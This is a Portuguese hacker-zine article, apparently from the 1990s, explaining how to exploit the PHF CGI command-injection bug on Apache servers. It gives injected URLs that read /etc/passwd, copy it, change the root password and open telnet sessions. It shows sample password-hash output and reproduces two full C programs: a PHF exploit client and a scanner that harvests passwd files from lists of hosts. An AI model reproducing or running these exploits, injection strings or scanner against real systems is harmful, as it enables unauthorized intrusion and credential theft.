12: PHF Laming Desmistificado
Iam Iam ... hmmm.. parece q mesmo apos a refalacao da porra dos bugs d CGI, muitas pessoas ainda continuam a usar a versao bugada do PHF, principalmente nossos colegas d olhos puxados, do outro lado do mundo
Pior do qe isso: muitas das pessoas nao sabe nem ao menos como exploitar a tal falha, e nem porq ela funciona... ainda ha tempo.
Ok lamers, em muitos servidore Apache ainda existe um certo programa cgi-bin chamado PHF. Ele possui um bug... se esse arquivo estiver +x, ele pode ser executado p/ rodar-se comandos remotamente, com os privilegios do usuario rodando o httpd.. geralmente o nobody, mas algumas vezes ate mesmo o root!
Ao contrario dq muitos lamers pensam, pode-se fazer muito mais alem d simplesmente ler-se o /etc/passwd. Se por exemplo o servidor estiver rodando o servidor httpd como root, pode-se atraves do phf conseguir uma conta na makina.
Vamos a uma forma simples d ataque via phf.. Use o seu browser favorito.. no caso, vamos usar o bom e velho lynx... Apos a linda tela preto e branco aparecer, tecle 'g'.. vc tera algo como:
URL to open:
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list Digite:
URL to open: http://lamer.org/cgi-bin/phf/?Qalias=x%0aid
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list Ele ira retornar:
QUERY RESULTS
/usr/local/bin/ph -m alias=x id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) Aqui nos percebemos que ele esta rodando como usuario nobody.. assim, nos podemos ser o usuario nobody desse sistema... Nos nao somos root, mas:
http://lamer.org/cgi-bin/phf/?Qalias=x%0aid O 'id' foi usado d forma a o servidor nos dar a id do usuario. Algumas vezes vc tera q informar o path completo do arquivo q vc almeja..
http://lamer.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id Apos o '%0a' e q realmente inicia-se a linha de comando. Se vc precisar de um espaco, deve-se usar codificado.. ('%20')... Veja alguns comandos q nos sao possiveis:
%0a/bin/cat%20/etc/passwd
%0als%20-al%20/etc/pass*
%0acp%20/etc/passwd%20/etc/passwd.my Pode-se ate mesmo alterar a senha do root..
%0apasswd%20root Lamer, antes de fazer isso, faca um backup do passwd original! Vamos comecar dando um cat no passwd..
URL to open: http://lamer.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd Nos temos:
QUERY RESULTS
/usr/local/bin/ph -m alias=x cat /etc/passwd
root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
Vamos agora supor q vc nao quer ter d usar browsers p/ fazer isso.. q tal um script? ;)
phf.c
------ cut here----
/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx. Also,
* this saves the time it usually takes to remember the syntatical format
* of the exploit. Because of the host lookup mess, this will take
* approximately 12 seconds to execute with average network load. Be patient.
*
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
int main(argc, argv)
int argc;
char **argv;
{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he; if (argc != 3 && argc != 4) {
fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
exit(1);
} command = (char *)malloc(strlen(argv[1]) * 2); while (argv[1][i] != '\0') {
if (argv[1][i] == 32) strcat(command, "%20"); else {
sprintf(j, "%c", argv[1][i]);
strcat(command, j);
}
++i;
} strcpy(hostname, argv[2]);
if (argc == 4) port = atoi(argv[3]); else port = 80; if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
he = gethostbyname(hostname);
if (he) {
sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
he->h_length);
} else {
fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
exit(1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port); if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "%s: could not get socket\n", argv[0]);
exit(1);
} if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
close(s);
fprintf(stderr, "%s: could not establish connection\n", argv[0]);
exit(1);
} sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
free(command);
write(s, exploit, strlen(exploit));
while(bytes == 128) {
bytes = read(s, buffer, 128);
fprintf(stdout, buffer);
}
close(s);
}
-------- cut here Para usar: 'phf id xxx.org '
------
<H1>Query Results</H1>
<P>
/usr/local/bin/ph -m alias=X
id
<PRE>
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
</GET /cgi-bin/phf/?Qalias=X%0aid
------ Por exemplo: 'phf cat%20/etc/passwd lamer.org'. Com um pouco de imaginacao, pode-se transferir e rodar exploits remotamente p/ o servidor. Algo qe eu achei interessante e o seguinte: e' possivel enviar-se um
comando d telnet via PHF.
Ex:
(..) 'telnet%20###.gov' A QUERY_STRING recebida sera:
/usr/local/bin/ph -m alias=x /bin/telnet ###.gov
Trying ###.##.###.###...
Connected to ###.gov.
Escape character is '^]'. Supondo que vc tenha ascesso a um xterm, e possivel capturar-se a shell...
Para os mais preguicosos, aqui vai um programa que ira scannear por
hosts com o bug do PHF.. ele as vezes apresenta falhas, mas da pra quebrar
o galho.. um dia se tiver tempo eu o aperfeicoo..
/*
phfscan.c
June, 1996
By Alhambra
alhambra@infonexus.com A production of The Guild Corporation, 1996
A quick hack to make scanning for hosts which still have the phf bug
Accepts hosts to scan from stdin, and writes whatever it gets back to
stdout. Plenty of room for optimization, and features that could be
added include forking off multiple copies for concurrent scans, etc, etc
Do it yourself...that's how you learn. The effectiveness of this program for getting password files isn't
what it once was...we see only around a 30% success ratio at getting
/etc/passwd from hosts that would have been vulnerable once upon a time
But that's still something..
Use:
phfscan < infile > outfile
*/
#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h>
#ifdef LINUX
#include <sys/time.h>
#endif
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>
int FLAG = 1;
int Call(int signo)
{
FLAG = 0;
}
main (int argc, char *argv[])
{
char host[100], buffer[1024], hosta[1024],FileBuf[8097];
int outsocket, serv_len, len,X,c,outfd;
struct hostent *nametocheck;
struct sockaddr_in serv_addr;
struct in_addr outgoing; char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\n";
/* yp version...use as needed...*/
/* char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat%20passwd\n";*/ while(fgets(hosta,100,stdin))
{
if(hosta[0] == '\0')
break;
hosta[strlen(hosta) -1] = '\0';
write(1,hosta,strlen(hosta)*sizeof(char));
write(1,"\n",sizeof(char));
outsocket = socket (AF_INET, SOCK_STREAM, 0);
memset (&serv_addr, 0, sizeof (serv_addr));
serv_addr.sin_family = AF_INET;
nametocheck = gethostbyname (hosta); /* Ugly stuff to get host name into inet_ntoa form */
(void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0],
sizeof (outgoing.s_addr));
strcpy (host, inet_ntoa (outgoing));
serv_addr.sin_addr.s_addr = inet_addr (host);
serv_addr.sin_port = htons (80);
signal(SIGALRM,Call);
FLAG = 1; alarm(10); X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
alarm(0); if(FLAG == 1 && X==0){
write(outsocket,PHFMessage,strlen(PHFMessage)*sizeof(char));
while((X=read(outsocket,FileBuf,8096))!=0)
write(1,FileBuf,X);
}
close (outsocket);
}
return 0;
}
Wiz4rd